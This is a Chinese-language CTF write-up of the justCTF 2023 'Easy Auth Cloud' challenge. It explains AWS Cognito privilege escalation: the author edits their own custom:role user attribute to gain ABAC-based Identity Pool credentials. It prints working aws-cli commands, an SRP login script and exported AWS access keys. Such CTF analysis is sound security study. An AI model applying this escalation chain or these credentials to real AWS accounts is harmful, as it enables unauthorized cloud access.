justCTF2023-AWS Cognito认证服务的安全隐患
2023-6-5 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:26 收藏

justCTF2023 Easy Auth Cloud题目,有关AWS Cognito认证服务可能存在的安全隐患

这道题目和文章 Hacking AWS Cognito Misconfigurations 思路大致相同,利用Cognito服务的默认配置和一些错误用法进行权限提升,但是多出几个细节,这里简单归结几点如下:

  • Web应用没有注册和登录功能,前端JavaScript代码简单混淆,能够通过AWS Cognito JavaScript SDK 拿到App Client ID, User Pool ID, Identity Pool ID, and region 信息
  • 攻击者首先需要获得Web应用的认证,在修改用户属性后,Cognito Identity Pool会基于ABAC(attribute based access control)的方式提供给用户更高权限的AWS Credentials,之后利用AWS Credentials获取托管在云上的lambda代码并解密出flag值

Cognito是AWS提供的一项全托管的认证、授权和用户管理服务,通过Cognito,开发人员可以不用自行编写认证、授权和用户管理的代码,而是通过Cognito的API来完成这些操作。Cognito提供两种核心服务,分别为UserPoolIdentity Pool

  1. UserPool:UserPool表示一个用户池,用于管理用户的注册、登录、身份验证和密码重置等操作。使用UserPool可以方便地创建和管理用户帐户,用以Web、Mobile APP的身份管理。此外,UserPool还支持社交身份验证,例如Facebook、Google等。
  1. Identity Pool:Identity Pool表示身份池,用于管理访问AWS服务的用户身份认证和授权。它与UserPool不同,它可以提供跨不同平台(不同应用程序和设备)的单一登录。身份池为应用程序用户提供了一组临时安全证书,这些证书可用于访问AWS服务。

通过这两种服务,开发人员可以方便地创建、管理和验证用户帐户,并管理应用程序的访问权限和安全性。

开局给了个登陆页面,经过简单阅读前端JS代码后发现有对Cognito SDK的使用,调出前端控制台debug偏移就能够拿到Cognito信息

Untitled

Client ID User Pool ID Identity Pool ID region
g1l1udtdgp1cu30fogbucvh4d eu-west-1_sEBJdM3TJ eu-west-1:a4b696bc-7cc2-4818-a045-2ff49b601cbc eu-west-1

后续的所有步骤都需要借助aws-cli,首先根据clientIDCognito服务注册账号

aws cognito-idp sign-up --client-id "g1l1udtdgp1cu30fogbucvh4d" --region "eu-west-1" --username "hpdoger1" --password "*()Hpdoger123"

紧接着使用注册的账号登陆User Pool,作者只配置了USER_SRP_AUTH这种认证方式,我选择用SDK进行登陆模拟,运行如下登录脚本会打印用户登陆后的各种Token信息

import axios from 'axios'
import { SRPClient, calculateSignature, getNowString } from 'amazon-user-pool-srp-client'

function call (action, body) {
    const request = {
      url: 'https://cognito-idp.eu-west-1.amazonaws.com',
      method: 'POST',
      headers: {
        'Content-Type': 'application/x-amz-json-1.1',
        'X-Amz-Target': action
      },
      data: JSON.stringify(body),
      transformResponse: (data) => data
    }

    return axios(request)
    .then((result) => JSON.parse(result.data))
    .catch((error) => {
      const _err = JSON.parse(error.response.data)
      const err = new Error()
      err.code = _err.__type
      err.message = _err.message
      return Promise.reject(err)
    })
  }

function login (email, password) {
    const userPoolId = process.env.CognitoUserPoolUsers.split('_')[1]
    const srp = new SRPClient(userPoolId)
    const SRP_A = srp.calculateA()
    return call('AWSCognitoIdentityProviderService.InitiateAuth', {
      ClientId: process.env.CognitoUserPoolClientWeb,
      AuthFlow: 'USER_SRP_AUTH',
      AuthParameters: {
        USERNAME: email,
        SRP_A
      }
    })
    .then(({ ChallengeName, ChallengeParameters, Session }) => {
      const hkdf = srp.getPasswordAuthenticationKey(ChallengeParameters.USER_ID_FOR_SRP, password, ChallengeParameters.SRP_B, ChallengeParameters.SALT)
      const dateNow = getNowString()
      const signatureString = calculateSignature(hkdf, userPoolId, ChallengeParameters.USER_ID_FOR_SRP, ChallengeParameters.SECRET_BLOCK, dateNow)
      return call('AWSCognitoIdentityProviderService.RespondToAuthChallenge', {
        ClientId: process.env.CognitoUserPoolClientWeb,
        ChallengeName,
        ChallengeResponses: {
          PASSWORD_CLAIM_SIGNATURE: signatureString,
          PASSWORD_CLAIM_SECRET_BLOCK: ChallengeParameters.SECRET_BLOCK,
          TIMESTAMP: dateNow,
          USERNAME: ChallengeParameters.USER_ID_FOR_SRP
        },
        Session
      })
      .then(({ AuthenticationResult }) => ({ username: ChallengeParameters.USERNAME, credentials: AuthenticationResult }))
    })
  }

process.env.CognitoUserPoolUsers = "eu-west-1_sEBJdM3TJ"
process.env.CognitoUserPoolClientWeb = "g1l1udtdgp1cu30fogbucvh4d"
login("hpdoger", "*()Hpdoger123").then((resp)=>{console.log(resp)})

这里会同时获得三种状态的Token,分别为:AccessTokenIdTokenRefreshToken

{
  username: 'hpdoger',
  credentials: {
    AccessToken: 'eyJraW...',
    ExpiresIn: 3600,
    IdToken: 'eyJraWQiO...',
    RefreshToken: 'eyJjd...',
    TokenType: 'Bearer'
  }
}

这三种Token应对场景不同,各司其职:

  • AccessToken:AccessToken用于访问AWS资源的临时令牌,它只有短暂的有效期,通常保留在客户端。当用户通过认证成功之后,Cognito返回一个AccessToken,客户端在访问AWS资源的时候需要携带该AccessToken来证明自己的身份和权限。
  • IdToken:IdToken是用于验证用户身份的令牌,通常在用户登录后进行访问。例如,当用户通过Cognito认证之后,服务器返回一个IdToken,客户端可以用来确认用户是谁,以及他们的权限。
  • RefreshToken: Refresh Token是用于获取新的AccessToken和IdToken的令牌。当一个AccessToken到期时,客户端可以使用一个Refresh Token来获取一个新的AccessToken,而无需再次进行身份认证。Refresh Token通常仅在安全凭据存储中保留。

再引用一段描述区分AccessTokenAWS Temporary Credentials的异同

当用户通过Cognito进行认证后,Cognito会向用户发送一个AccessToken和一个IdToken,其中IdToken可以用于向AWS获取AWS临时证书(AWS Temporary Credentials)。

Access Token和AWS Temporary Credentials都是AWS Cognito中扮演身份认证的不同形式,但是它们之间有一些重要的区别:Access Token通常是无状态的,并且它存储的是经过加密的用户信息,允许用户访问受保护的资源,比如API Gateway;比较而言,Temporary Credentials是一种AWS IAM中生成的安全凭证,允许用户访问AWS中的资源,比如S3、EC2、lamada等。

简而言之,如果想要获得AWS云上的资源,就需要一份AWS Temporary CredentialsCognito服务也是做这件事的,它可以让Identity Pool授权我们的AccessToken来生成AWS Credentials(包含AccessKeyId、SecrectKey、SecrectSession)

aws cognito-identity get-credentials-for-identity --identity-id YOUR_IDENTITY_ID --logins '{"YOUR_PROVIDER_NAME":"YOUR_PROVIDER_TOKEN"}'

其中YOUR_IDENTITY_ID为前端JS泄漏的identity-idYOUR_PROVIDER_NAME可以根据regionuser-pool-id拼接而来,且YOUR_PROVIDER_NAME的格式固定:cognito-idp.<region>.amazonaws.com/<user-pool-id>YOUR_PROVIDER_TOKENUserPool登陆后返回的IdToken,那么对于这道题目来说运行的示例如下

aws cognito-identity get-credentials-for-identity \
    --identity-id "eu-west-1:d19dc8bc-277b-4674-a022-cb844f96d1f3" \
    --logins "cognito-idp.eu-west-1.amazonaws.com/eu-west-1_sEBJdM3TJ=eyJraW..."

Untitled

得到的返回信息即为AWS Credentials,使用exportAWS Credentials引入环境变量后即可使用aws-cli访问AWS云上资源

export AWS_ACCESS_KEY_ID=ASIA6NYM5FVFAT442IEG
export AWS_SECRET_ACCESS_KEY=vCZKCemBP/NO65IQC0I9GO/V5c3gLkUiWpy2b1XO
export AWS_SESSION_TOKEN=IQoJb3JpZ....

Untitled

但很可惜的是当前AWS Credentials对于存储桶的权限非常低,只能读到fake_flag文件,于是我决定对当前的Credentials枚举更多可用的权限。利用枚举探测的脚本:https://github.com/securisec/cliam ,发现当前Credentials能做的事情比较少,只能list部分s3 bucket

Untitled

云上的部分暂且到这儿,再将思路拉回到Web题目本身,Index首页可以看到这样一句话

Untitled

这或许暗示需要通过登陆获得进一步的提示信息,而整个Web Application并没有开放注册或登录的接口。但在第二步中,AWS用户凭证生成的三个Token中还包含了AccessToken,也是在搜索了相关用法后,发现有这样一篇文章:cognito-pentest。大概讲的就是,在基于AWS开发的业务中,通常会将AccessToken作为Web Application的用户态JWT使用

Untitled

只需要Authorization头携带着AccessToken就能访问题目的各种路由,因为AWS WebGateway会根据此状态判别用户是否登录。当访问/home路由后,题目给出了新的提示:only role xxx can get access/flag路径下面给了一段AES加密的字符串,意味着题目到这里还没有结束。到这一步作者想考察的点是,我们需要对当前的用户身份设置role,并且rolefishy_moderator的用户将在IdentityPool认证后拥有不一样的权限。

Untitled

那么这个role意味着什么呢?先按照题目思路做下去,由于AWS默认推荐并开放了Own User Attribute Read/Write权限,User Pool providers内置了一些属性比如nameemailphone_number等,用户可以通过update-user-attributes对当前的用户设置属性。

aws cognito-idp update-user-attributes --access-token "eyJraw..." --user-attributes '[{"Name":"custom:role","Value":"fishy_moderator"}]'

更新完属性后,重新登陆刷新Token,也可以借助get-user查看刚刚设置的用户属性:aws cognito-idp get-user --access-token “ey..”

Untitled

再次重复IdentityPool授权的步骤,拿到新的AWS Credentials,此时的Credentials具有lambda list的权限。那么回过头来看,前文所提到的role其实就是AWS的用户属性值role,在IdentityPool授权的过程中,根据用户属性role进行AWS资源权限分配,虽然合情,但不完全合理。

Untitled

到这里,也是整个场景产生漏洞的原因:由于我们在AWS注册用户sign-up时默认会指定一个Default Role,这个Role就作为用户属性(Attribute)存在,而IdentityPool认证后颁布的AWS Credentials是基于User ABAC(attribute-based access control)的,于是在前文中IdentityPool后拿到的AWS Credentials就非常有限,相当于Default Role仅能list s3 bucket。但是AWS Cognito默认允许用户修改Own User Attribute,那么攻击者就可以为自己设置新的Role,此时IdentityPool认证后的AWS Credentials就具有了新的权限—list lambda functions

这种攻击面也不是第一次出现,在文章:https://www.truesec.com/hub/blog/aws-cognito-token-security-one-step-closer 中,作者利用Owner User Attribute Update操作,更改了自己的用户身份,从而产生一系列越权漏洞。

Untitled

再回到题目,利用新的AWS Credentials列出lambda functions,能够发现计算flaglambda函数

aws lambda list-functions --profile jctf --region eu-west-1

Untitled

再通过get-function获得FlagLambda代码所在位置:

aws lambda get-function --function-name FlagLambda --query 'Code.Location' --profile jctf --region eu-west-1

Untitled

凭借相同的方式,在多个lambda代码获得AES加密flag的key + nonce,结合前文/flag路由获取到的flag密文从而解码出flag值,题目到这里也就结束了。

Untitled

总的来说,漏洞的核心在于作者配置了Cognito Identity Pool认证时采用ABAC的方式,且ABAC的部分值又由用户可控,信任空间没有把握好。


文章来源: https://hpdoger.cn/2023/06/05/title:%20justCTF2023-AWS%20Cognito%E8%AE%A4%E8%AF%81%E6%9C%8D%E5%8A%A1%E7%9A%84%E5%AE%89%E5%85%A8%E9%9A%90%E6%82%A3/
如有侵权请联系:admin#unsafe.sh